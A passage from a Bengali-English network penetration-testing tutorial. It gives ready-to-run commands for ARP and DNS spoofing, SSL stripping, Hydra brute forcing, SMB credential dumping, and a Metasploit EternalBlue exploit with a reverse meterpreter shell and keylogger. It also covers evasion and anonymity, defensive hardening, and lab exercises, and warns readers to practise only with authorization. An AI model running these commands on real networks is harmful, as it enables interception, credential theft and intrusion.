$ bettercap -iface eth0 -caplet mitm.cap

# mitm.cap file:
net.probe on
set arp.spoof.targets 192.168.1.0/24
```

```
arp.spoof on
net.sniff on
set net.sniff.regexp ".*password.*"
```

🌐 DNS Spoofing

```
# dnsspoof (classic)
# /etc/dnsspoof.hosts file তৈরি করো:
# 192.168.1.10  facebook.com
# 192.168.1.10  *.facebook.com
# 192.168.1.10  google.com

$ dnsspoof -i eth0 -f /etc/dnsspoof.hosts

# Fake web server setup (victim কে fake page দেখাবে)
$ service apache2 start
# /var/www/html/index.html এ fake login page রাখো

# responder (Windows environments)
$ responder -I eth0 -wFb
# LLMNR/NBT-NS poisoning → NTLMv2 hash capture করে
```

🔒 SSL Strip — HTTPS কে HTTP করো

```
# sslstrip2 + bettercap
bettercap> set https.proxy.sslstrip true
bettercap> https.proxy on
bettercap> arp.spoof on

# Manual sslstrip
$ echo 1 > /proc/sys/net/ipv4/ip_forward
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 808
$ sslstrip -l 8080 -w sslstrip.log &
$ arpspoof -i eth0 -t victim_ip gateway_ip

# Log দেখো
```

```
$ tail -f sslstrip.log | grep -i "password\|login\|user"

# Note: Modern browsers-এ HSTS থাকলে SSL Strip কাজ করে না
# HSTS Preloaded sites: google.com, facebook.com → safe
```

✅ Chapter 6 Summary

✓ ARP Spoof = MITM-এর core technique

✓ Bettercap = সব MITM tool এক জায়গায়

✓ DNS Spoof = victim-কে fake site-এ নিয়ে যাও

✓ SSL Strip = HTTPS → HTTP downgrade (HSTS-এ কাজ করে না)

CHAPTER 07

⚔️ Network Service Attacks

FTP, SSH, Telnet, SMB, RDP — সব service-এর attack ও exploitation

🔑 Hydra — Network Login Bruteforcer

```
# SSH brute force
$ hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
$ hydra -L users.txt -P pass.txt ssh://192.168.1.1 -t 4

# FTP brute force
$ hydra -l admin -P pass.txt ftp://192.168.1.1
$ hydra -l anonymous -p "" ftp://192.168.1.1  # Anonymous

# Telnet
$ hydra -l root -P pass.txt telnet://192.168.1.1

# HTTP Form brute force
$ hydra -l admin -P pass.txt 192.168.1.1 http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:Invalid credentials"

# RDP brute force
$ hydra -l administrator -P pass.txt rdp://192.168.1.1

# SMB brute force
$ hydra -l administrator -P pass.txt smb://192.168.1.1

# MySQL
$ hydra -l root -P pass.txt mysql://192.168.1.1

# Options
$ hydra -t 16  # 16 parallel tasks
```

```
$ hydra -V      # Verbose (প্রতিটা attempt দেখো)
$ hydra -f      # First found তে থামো
```

📂 SMB — Windows File Sharing

```
# SMB enumeration
$ smbclient -L //192.168.1.1 -N            # Anonymous share list
$ smbclient -L //192.168.1.1 -U admin      # With credentials
$ smbmap -H 192.168.1.1                    # Share permissions দেখো
$ smbmap -H 192.168.1.1 -u admin -p pass

# enum4linux — Windows/Samba enumeration
$ enum4linux -a 192.168.1.1                # All info
$ enum4linux -U 192.168.1.1                # Users
$ enum4linux -S 192.168.1.1                # Shares
$ enum4linux -P 192.168.1.1                # Password policy

# SMBclient দিয়ে connect
$ smbclient //192.168.1.1/Share -U admin%password
smb> ls                 # Files দেখো
smb> get secret.txt     # File download
smb> put exploit.exe    # File upload
smb> cd /               # Directory change

# Nmap SMB scripts
$ nmap --script=smb-vuln-ms17-010 192.168.1.1   # EternalBlue check
$ nmap --script=smb-vuln-ms08-067 192.168.1.1
$ nmap --script=smb-enum-shares 192.168.1.1
$ nmap --script=smb-enum-users 192.168.1.1

# CrackMapExec — Windows network auditing
$ crackmapexec smb 192.168.1.0/24             # Discovery
$ crackmapexec smb 192.168.1.1 -u admin -p pass
$ crackmapexec smb 192.168.1.1 --shares       # Shares
$ crackmapexec smb 192.168.1.1 -u admin -p pass --sam  # SAM dump
```

RDP Attacks

```
# RDP scan ও check
$ nmap -p 3389 --script=rdp-vuln-ms12-020 192.168.1.1
$ nmap -p 3389 --script=rdp-enum-encryption 192.168.1.1

# RDP brute force
$ hydra -l administrator -P rockyou.txt rdp://192.168.1.1 -t 1
$ crowbar -b rdp -s 192.168.1.1/32 -u administrator -C pass.txt

# xfreerdp দিয়ে connect
$ xfreerdp /u:administrator /p:password /v:192.168.1.1
$ xfreerdp /u:admin /p:pass /v:192.168.1.1 /cert:ignore
```

Metasploit — Exploitation Framework

```
# Metasploit start করো
$ msfdb init          # Database init
$ msfconsole           # Start

── Metasploit Basic Commands ──
msf> help
msf> search eternalblue       # Module খোঁজো
msf> use exploit/windows/smb/ms17_010_eternalblue
msf> show options              # Required options দেখো
msf> set RHOSTS 192.168.1.50   # Target IP
msf> set LHOST 192.168.1.100   # আমাদের IP
msf> set LPORT 4444            # Listen port
msf> set payload windows/x64/meterpreter/reverse_tcp
msf> run                       # Execute

# Meterpreter commands (successful exploit এর পরে)
meterpreter> sysinfo           # System info
meterpreter> getuid            # Current user
meterpreter> getsystem         # Privilege escalation
meterpreter> hashdump          # Password hashes
meterpreter> shell             # CMD shell
```

```
meterpreter> upload file.exe C:\\Windows\\Temp\\
meterpreter> download secret.txt /tmp/
meterpreter> keyscan_start     # Keylogger
meterpreter> screenshot        # Screenshot
meterpreter> run post/multi/recon/local_exploit_suggester

# Useful modules
msf> use auxiliary/scanner/portscan/tcp      # Port scanner
msf> use auxiliary/scanner/smb/smb_ms17_010 # EternalBlue check
msf> use auxiliary/scanner/ssh/ssh_login     # SSH brute
msf> use auxiliary/scanner/ftp/ftp_login     # FTP brute
msf> use post/windows/gather/credentials/credential_collector
```

✅ Chapter 7 Summary

✓ Hydra দিয়ে SSH/FTP/HTTP/RDP/SMB brute force করো

✓ SMB = Windows-এর সবচেয়ে ঝুঁকিপূর্ণ service

✓ Metasploit = exploitation-এর standard tool

✓ Meterpreter = post-exploitation-এর সেরা shell

CHAPTER 08

🔥 Firewall ও IDS Evasion

Firewall bypass techniques, IDS detection evasion, tunneling

🔥 iptables — Linux Firewall

```
# Rules দেখো
$ iptables -L -n -v --line-numbers

# Basic rules
$ iptables -A INPUT -p tcp --dport 22 -j ACCEPT     # SSH allow
$ iptables -A INPUT -p tcp --dport 80 -j ACCEPT     # HTTP allow
$ iptables -A INPUT -j DROP                         # Else drop
$ iptables -A INPUT -s 192.168.1.50 -j DROP         # Block IP

# Nmap দিয়ে firewall detect করো
$ nmap -sA 192.168.1.1    # ACK scan → filtered/unfiltered দেখাবে
$ nmap -sW 192.168.1.1    # Window scan
$ nmap --traceroute 192.168.1.1

# Firewall bypass techniques
$ nmap -f 192.168.1.1         # Fragment packets
$ nmap -D RND:10 192.168.1.1  # Decoy scan
$ nmap --source-port 53 target # Source port 53 (DNS)
$ nmap --source-port 80 target # Source port 80 (HTTP)
$ nmap -T1 --scan-delay 5s target # Slow scan
```

🕳 Port Tunneling

```
# SSH Local Port Forwarding
# Firewall blocked 3306 (MySQL) — 22 (SSH) open
$ ssh -L 3307:127.0.0.1:3306 user@remote_server
# এখন localhost:3307 = remote:3306
$ mysql -h 127.0.0.1 -P 3307 -u root -p

# SSH Remote Port Forwarding
$ ssh -R 4444:127.0.0.1:4444 user@remote_server
# Remote server-এ port 4444 = আমাদের localhost:4444

# SSH Dynamic (SOCKS Proxy)
$ ssh -D 1080 user@remote_server
# Browser/tool এর SOCKS5 = 127.0.0.1:1080

# Proxychains দিয়ে যেকোনো tool tunnel করো
$ nano /etc/proxychains4.conf
# [ProxyList]
# socks5 127.0.0.1 1080

$ proxychains nmap -sT -p 80,443 target
$ proxychains curl http://target.com
$ proxychains hydra -l root -P pass.txt ssh://target
```

🧅 Tor ও Anonymity

```
# Tor install ও start
$ apt install tor
$ service tor start
$ service tor status

# Tor SOCKS5 = 127.0.0.1:9050
$ proxychains curl https://check.torproject.org

# torify — Tor দিয়ে run করো
$ torify curl http://target.com
$ torify nmap -sT target

# torghost — সব traffic Tor-এ route করো
```

```
$ torghost -s     # Start
$ torghost -x     # Stop
$ torghost -ip    # Current IP দেখো

# MAC address spoof (physical tracking avoid)
$ macchanger -r wlan0         # Random MAC
$ macchanger -m 00:11:22:33:44:55 wlan0  # Custom MAC
$ ip link set wlan0 down
$ macchanger -r wlan0
$ ip link set wlan0 up
```

✅ Chapter 8 Summary

✓ iptables দিয়ে Linux firewall rules manage করো

✓ Nmap -sA দিয়ে firewall type detect করো

✓ SSH tunneling = firewall block করা port bypass করো

✓ Proxychains = যেকোনো tool anonymously চালাও

✓ macchanger = physical identity hide করো

CHAPTER 09

🔒 VPN ও Tunneling

OpenVPN, WireGuard, SSH Tunneling, Proxychains — সম্পূর্ণ গাইড

🌐 VPN কীভাবে কাজ করে?

VPN encrypted tunnel তৈরি করে যার মধ্যে দিয়ে traffic যায়। ISP বা network admin traffic দেখতে পায় না। Security testing-এ নিজেকে anonymous রাখতে VPN জানা দরকার।

⚡ WireGuard — Modern VPN

```
# WireGuard install
$ apt install wireguard

# Key pair তৈরি করো
$ wg genkey | tee privatekey | wg pubkey > publickey
$ cat privatekey publickey

# Server config: /etc/wireguard/wg0.conf
[Interface]
Address = 10.0.0.1/24
PrivateKey = <SERVER_PRIVATE_KEY>
ListenPort = 51820
PostUp   = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth

[Peer]
PublicKey = <CLIENT_PUBLIC_KEY>
AllowedIPs = 10.0.0.2/32

# Client config
[Interface]
```

```
Address = 10.0.0.2/24
PrivateKey = <CLIENT_PRIVATE_KEY>
DNS = 8.8.8.8

[Peer]
PublicKey = <SERVER_PUBLIC_KEY>
Endpoint = server_ip:51820
AllowedIPs = 0.0.0.0/0   # All traffic through VPN

# Start/Stop
$ wg-quick up wg0
$ wg-quick down wg0
$ wg show               # Status
```

SSH Tunneling — সব কিছুর জন্য

```
── SSH TUNNELING CHEATSHEET ──

# 1. Local Port Forward (আমার port → remote service)
$ ssh -L local_port:target_host:target_port user@jump_server
# Example: Remote MySQL access করো
$ ssh -L 3307:192.168.2.5:3306 user@192.168.1.1
$ mysql -h 127.0.0.1 -P 3307  # Now access!

# 2. Remote Port Forward (remote port → আমার service)
$ ssh -R remote_port:local_host:local_port user@remote
# Example: NAT-এর পেছন থেকে reverse shell
$ ssh -R 4444:localhost:4444 user@my_vps

# 3. Dynamic SOCKS Proxy
$ ssh -D 1080 user@proxy_server
# SOCKS5 127.0.0.1:1080 → সব traffic route হবে

# 4. Jump Host (Bastion)
$ ssh -J jump_user@jump_host target_user@final_target
# ~/.ssh/config তে:
Host final_target
    ProxyJump jump_user@jump_host
    User target_user
```

```
# 5. Multiple hops
$ ssh -J user1@hop1,user2@hop2 user3@destination

# Background-এ চালাও
$ ssh -fNL 3307:127.0.0.1:3306 user@server  # -f=background, -N=no command
```

✅ Chapter 9 Summary

✓ WireGuard = fastest, modern VPN — নিজের VPN server বানাও

✓ SSH Local Tunnel = blocked port access করো

✓ SSH Remote Tunnel = NAT থেকে reverse connection

✓ SSH Dynamic = SOCKS proxy → Proxychains দিয়ে ব্যবহার করো

CHAPTER 10

Network Defense ও Hardening

Firewall setup, IDS/IPS, WiFi hardening, Network monitoring — সব defense technique

iptables Hardening

```
# Default policy: সব block করো
$ iptables -P INPUT DROP
$ iptables -P FORWARD DROP
$ iptables -P OUTPUT ACCEPT  # Outgoing allow

# Loopback allow
$ iptables -A INPUT -i lo -j ACCEPT

# Established connections allow
$ iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Specific services allow
$ iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT  # SSH from LAN only
$ iptables -A INPUT -p tcp --dport 80 -j ACCEPT   # HTTP
$ iptables -A INPUT -p tcp --dport 443 -j ACCEPT  # HTTPS

# SYN Flood protection
$ iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j ACCEPT
$ iptables -A INPUT -p tcp --syn -j DROP

# Port scan protection
$ iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP      # NULL scan
$ iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP       # Xmas scan
$ iptables -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP

# Ping flood protection
$ iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/s -j ACCEPT
```

```
# Log blocked packets
$ iptables -A INPUT -j LOG --log-prefix "DROPPED: " --log-level 4

# Rules save করো
$ iptables-save > /etc/iptables/rules.v4
$ iptables-restore < /etc/iptables/rules.v4
```

🚨 Snort/Suricata — IDS/IPS

```
# Snort install
$ apt install snort

# Basic run
$ snort -i eth0 -A console     # Console output
$ snort -i eth0 -l /var/log/snort

# Custom Snort rules (/etc/snort/rules/local.rules)
# Rule format: action protocol src_ip src_port → dst_ip dst_port (options)

# Port scan detect
alert tcp any any -> $HOME_NET any (msg:"Port Scan Detected"; flags:S; threshold: type

# SSH brute force detect
alert tcp any any -> $HOME_NET 22 (msg:"SSH Brute Force"; flow:to_server; threshold: t

# Nmap scan detect
alert tcp any any -> $HOME_NET any (msg:"Nmap SYN Scan"; flags:S; threshold: type both

# Suricata (faster, multi-threaded)
$ apt install suricata
$ suricata -i eth0 -l /var/log/suricata
$ suricata-update              # Rules update
```

📶 WiFi Security Hardening

```
═══ Router/AP Security Checklist ═══

[✓] WPA3 enable করো (অথবা WPA2-AES minimum)
[✓] WPS disable করো — router settings → WPS = OFF
[✓] Strong password: 20+ characters, random
    Bad:  "MyNetwork123"
    Good: "j8#Kp2@mX9$vL5!qR3nW"
[✓] Router admin password পরিবর্তন করো (admin/admin নয়)
[✓] Remote management disable করো
[✓] Guest network আলাদা VLAN-এ রাখো
[✓] MAC filtering enable করো (extra layer)
[✓] SSID broadcast hide করো (obscurity only, not security)
[✓] Firmware update রাখো
[✓] Transmit power কমাও (range limit করো)
[✓] 5GHz band ব্যবহার করো (shorter range)

═══ WPA2 Password Testing ═══
# নিজের network-এর password strength test করো
$ aircrack-ng -w /usr/share/wordlists/rockyou.txt handshake.cap
# যদি পাওয়া যায় → পাসওয়ার্ড change করো!

═══ Rogue AP Detection ═══
$ airodump-ng wlan0mon          # Same SSID-এর একাধিক AP দেখলে সন্দেহ
$ waidps                        # Wireless attack detection
```

📊 Network Monitoring

```
# Fail2Ban — brute force protection
$ apt install fail2ban
$ systemctl enable fail2ban

# /etc/fail2ban/jail.local
[sshd]
enabled = true
port    = ssh
maxretry = 3        # 3 failed attempts
bantime  = 3600     # 1 hour ban
findtime = 600      # 10 minute window
```

```
[http-auth]
enabled = true
maxretry = 5
bantime  = 86400    # 24 hour ban

# Status দেখো
$ fail2ban-client status
$ fail2ban-client status sshd
$ fail2ban-client unban 192.168.1.50

# auditd — system call monitoring
$ apt install auditd
$ auditctl -w /etc/passwd -p rwa    # passwd file monitor
$ auditctl -w /etc/shadow -p rwa
$ ausearch -f /etc/passwd          # Log দেখো

# Network traffic monitoring
$ iftop -i eth0                     # Real-time bandwidth
$ nethogs eth0                      # Per-process bandwidth
$ ntopng                            # Web-based monitor
```

✅ Chapter 10 Summary

✓ Default DROP policy → only allowed traffic pass করো

✓ Snort rules দিয়ে port scan, brute force detect করো

✓ WPS বন্ধ করো, WPA3 বা WPA2-AES ব্যবহার করো

✓ Fail2Ban = brute force-এর বিরুদ্ধে সেরা defense

CHAPTER 11

🔧 Tools Reference

Network Security-র সব গুরুত্বপূর্ণ tool এক জায়গায়

📋 Complete Tools Reference

Tool	Category	কাজ	Install
nmap	Scanning	Port scan, OS/service detect, NSE scripts	Pre-installed (Kali)
masscan	Scanning	Ultra-fast internet-wide scan	`apt install masscan`
netdiscover	Discovery	ARP-based host discovery	Pre-installed
wireshark	Analysis	GUI packet capture ও analysis	Pre-installed
tcpdump	Analysis	CLI packet capture	Pre-installed
aircrack-ng	Wireless	WEP/WPA crack suite	Pre-installed
hashcat	Password	GPU-based hash cracking	Pre-installed
hydra	Brute Force	Online network brute force	Pre-installed
bettercap	MITM	ARP spoof, MITM framework	`apt install bettercap`
metasploit	Exploitation	Exploit framework	Pre-installed
hcxdumptool	Wireless	PMKID/handshake capture	`apt install hcxdumptool`
reaver	Wireless	WPS PIN attack	Pre-installed

Tool	Category	কাজ	Install
enum4linux	SMB	Windows/Samba enumeration	Pre-installed
crackmapexec	Windows	Windows network auditing	`apt install crackmapexec`
responder	Windows	LLMNR/NBT-NS poisoning	Pre-installed
snort	Defense	IDS/IPS	`apt install snort`
fail2ban	Defense	Brute force protection	`apt install fail2ban`
gobuster	Web/DNS	Directory ও DNS brute force	Pre-installed
wifite	Wireless	Automated WiFi attack tool	Pre-installed
proxychains	Anonymity	Tool-এর traffic proxy করো	Pre-installed

⌨️ Quick Command Cheatsheet

```
═══ NETWORK RECON ═══
nmap -sV -O -A target           # Full aggressive scan
nmap -p- -T4 target             # All ports fast
netdiscover -r 192.168.1.0/24   # ARP discovery
dig target.com ANY              # DNS all records
enum4linux -a target            # Windows enum

═══ WIRELESS ═══
airmon-ng start wlan0                           # Monitor mode
airodump-ng wlan0mon                            # Network scan
airodump-ng -c 6 --bssid BSSID -w out wlan0mon # Capture
aireplay-ng -0 5 -a BSSID wlan0mon             # Deauth
aircrack-ng out-01.cap -w rockyou.txt          # Crack
hcxpcapngtool -o hash.hc22000 out-01.cap       # Convert
hashcat -m 22000 hash.hc22000 rockyou.txt      # GPU crack

═══ MITM ═══
```

```
echo 1 > /proc/sys/net/ipv4/ip_forward         # Enable forward
arpspoof -i eth0 -t victim gateway             # ARP spoof
bettercap -iface eth0                          # Bettercap
tcpdump -i eth0 -A port 80                     # HTTP sniff

═══ BRUTE FORCE ═══
hydra -l root -P rockyou.txt ssh://target      # SSH
hydra -l admin -P pass.txt ftp://target        # FTP
hydra -l admin -P pass.txt rdp://target        # RDP

═══ ANONYMITY ═══
macchanger -r wlan0             # Random MAC
proxychains nmap target         # Via proxy
ssh -D 1080 user@server         # SOCKS proxy
wg-quick up wg0                 # WireGuard VPN

═══ DEFENSE ═══
iptables -P INPUT DROP          # Default block
fail2ban-client status sshd     # Ban status
snort -i eth0 -A console        # IDS mode
suricata -i eth0                # Suricata IDS
```

CHAPTER 12

🚀 Real-World Lab Scenarios

Home Lab Setup, Practice Scenarios, CTF Network Challenges

🏠 Home Lab Setup করো

```
═══ VirtualBox Lab Setup ═══

Machines তৈরি করো:
1. Kali Linux    — Attacker machine (2GB RAM, 2 CPU)
2. Metasploitable2 — Vulnerable Linux target
3. Windows 7/10  — Windows target (DVWA, VulnHub)
4. Ubuntu Server — Web server target

Network Settings:
All machines → Host-Only Adapter → vboxnet0
অথবা Internal Network → "labnet"

Metasploitable2 download:
https://sourceforge.net/projects/metasploitable/

Default credentials:
Username: msfadmin
Password: msfadmin

Vulnerable services in Metasploitable2:
Port 21   — vsftpd 2.3.4 (backdoor!)
Port 22   — OpenSSH 4.7
Port 23   — Telnet
Port 25   — Postfix
Port 80   — Apache + DVWA + phpMyAdmin
Port 139  — Samba (username map script vuln)
Port 3306 — MySQL (no password for root!)
```

```
Port 5432 — PostgreSQL
Port 6667 — IRC (Unreal IRCd backdoor)
Port 8180 — Apache Tomcat
```

🎯 Lab Scenario 1: Full Network Pentest

```
Target: Metasploitable2 (192.168.56.101)
Attacker: Kali Linux (192.168.56.100)

STEP 1: Reconnaissance
$ nmap -sV -O -A 192.168.56.101
[+] 21/tcp  open  ftp     vsftpd 2.3.4
[+] 22/tcp  open  ssh     OpenSSH 4.7
[+] 80/tcp  open  http    Apache 2.2.8
[+] 3306/tcp open mysql   MySQL 5.0.51a

STEP 2: Vulnerability Check
$ nmap --script=vuln 192.168.56.101
[!] vsftpd 2.3.4 - Backdoor Command Execution

STEP 3: Exploit vsftpd backdoor
$ msfconsole
msf> use exploit/unix/ftp/vsftpd_234_backdoor
msf> set RHOSTS 192.168.56.101
msf> run
[+] Command shell session 1 opened!
id
uid=0(root) gid=0(root) groups=0(root)

STEP 4: Post Exploitation
$ cat /etc/passwd
$ cat /etc/shadow
$ uname -a
$ ss -tlnp
```

📶 Lab Scenario 2: WiFi Security Test

```
Target: নিজের Home WiFi (authorized!)
Hardware: Alfa AWUS036NHA adapter

STEP 1: Monitor mode enable
$ airmon-ng check kill
$ airmon-ng start wlan1
monitor mode enabled on wlan1mon

STEP 2: Target scan
$ airodump-ng wlan1mon
 BSSID              PWR  CH  ENC   ESSID
 AA:BB:CC:DD:EE:FF  -55   6  WPA2  MyHomeNetwork

STEP 3: Capture handshake
$ airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w test wlan1mon

STEP 4: Force handshake (deauth)
$ aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF wlan1mon
WPA handshake: AA:BB:CC:DD:EE:FF  ← এটা দেখলেই capture হয়েছে

STEP 5: Password test
$ hcxpcapngtool -o hash.hc22000 test-01.cap
$ hashcat -m 22000 hash.hc22000 rockyou.txt

Result যদি পাওয়া যায় → password দুর্বল → পরিবর্তন করো!
```

🌐 Online Practice Platforms

Platform	URL	ধরন	মূল্য
TryHackMe	tryhackme.com	Guided labs, Network rooms	Free + Premium
HackTheBox	hackthebox.com	Real machines, CTF	Free + VIP
VulnHub	vulnhub.com	VM download, offline	Free
PentesterLab	pentesterlab.com	Web + Network	Free + Pro

Platform	URL	ধরন	মূল্য
OffSec Proving Grounds	offensive-security.com	Network pentesting	Paid
PicoCTF	picoctf.org	CTF for beginners	Free

🎓 Certification Roadmap

- 🟢 **CompTIA Network+** — Networking fundamentals, এটা দিয়ে শুরু করো
- 🔵 **CompTIA Security+** — Security basics, industry standard
- 🟠 **CEH (Certified Ethical Hacker)** — Network hacking techniques
- 🔴 **eJPT (eLearnSecurity Junior Pentest)** — Practical, beginner pentest
- 🟣 **OSCP (Offensive Security)** — Gold standard — সবচেয়ে কঠিন ও সম্মানিত

🎯 তুমি এখন কী কী পারো

🌐 OSI/TCP-IP বুঝতে ও কোথায় attack হয় জানতে পারো

🔍 Nmap দিয়ে comprehensive network reconnaissance করতে পারো

📶 WEP/WPA/WPA2 wireless security বুঝতে ও test করতে পারো

🎭 ARP Spoof, DNS Spoof, MITM attack করতে পারো (lab-এ)

🦈 Wireshark/tcpdump দিয়ে network traffic analyze করতে পারো

🔥 Firewall rules ও IDS configure করতে পারো

🔐 VPN ও SSH tunnel setup করতে পারো

🛡️ Network hardening ও defense implement করতে পারো

📡 "The network is the battlefield — know it better than your enemy."

সব কিছু শুধুমাত্র নিজের network বা authorized lab-এ practice করো। অন্যের system-এ permission ছাড়া কাজ করা আইনত দণ্ডনীয়।

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